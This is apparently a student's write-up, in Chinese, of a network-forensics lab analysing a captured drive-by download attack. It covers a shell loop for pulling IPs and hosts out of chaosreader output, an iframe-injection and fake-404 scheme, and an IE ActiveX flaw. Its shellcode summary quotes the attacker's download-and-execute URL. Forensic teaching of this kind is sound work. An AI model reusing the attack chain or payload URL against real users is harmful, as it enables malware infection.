使用命令for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort –u
列出文件中的IP地址,主机名和域名。从得到的结果中可以看出,有这么几个域名,其中rapidshare.com.eyu32.ru对应攻击地址192.168.56.50,sploitme.com.cn对应192.168.56.52,shop.honeynet.sg对应192.168.56.51,其余的关于谷歌的应该是正常操作。
DNS服务网址(根据chaosreader的查询结果可以看到):10.0.2.2,10.0.5.2,10.0.4.2,10.0.3.2。
靶机地址:10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15
模拟被侵入主机:192.168.56.50(rapidshare.com.eyu32.ru),192.168.56.51(shop.honeynet.sg)
攻击机地址:192.168.56.52(sploitme.com.cn)
shop.honeynet.sg/catalog/(在线商城)对应于页面session_0032.part_01.html
攻击动作的概要描述
攻击方将恶意代码注入sploitme.com.cn/?alick=X的iframe框架中。
受害者打开这个页面之后,会被现实sploitme.com.cn/?alick=X的内容,该页面被重定向到伪造的404页面。
攻击者进行的混淆技巧
(1)伪造404 not found页面。
(2)JavaScript混淆
漏洞分析
在142组tcp数据包进行tcp数据流分析:
针对windows上的ie浏览器上的漏洞,ActiveX组件不安全。
shellcode执行的动作:
shellcode获取系统临时文件路径,加载urlmon.dll,从http://sploitme.com.cn/fg/load.php?e=1 搜索可执行文件,然后执行。shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量用来指定发送恶意的可执行文件。
实验中遇到的问题
这次的实验遇到的问题主要集中在不知如何下手,参考别人写的博客,对不懂的地方进行搜索。
对本次实践的感想
会者不难,难者不会。今天听了大佬的分析方法,是需要足够的基础能够让分析过程看起来很顺理成章。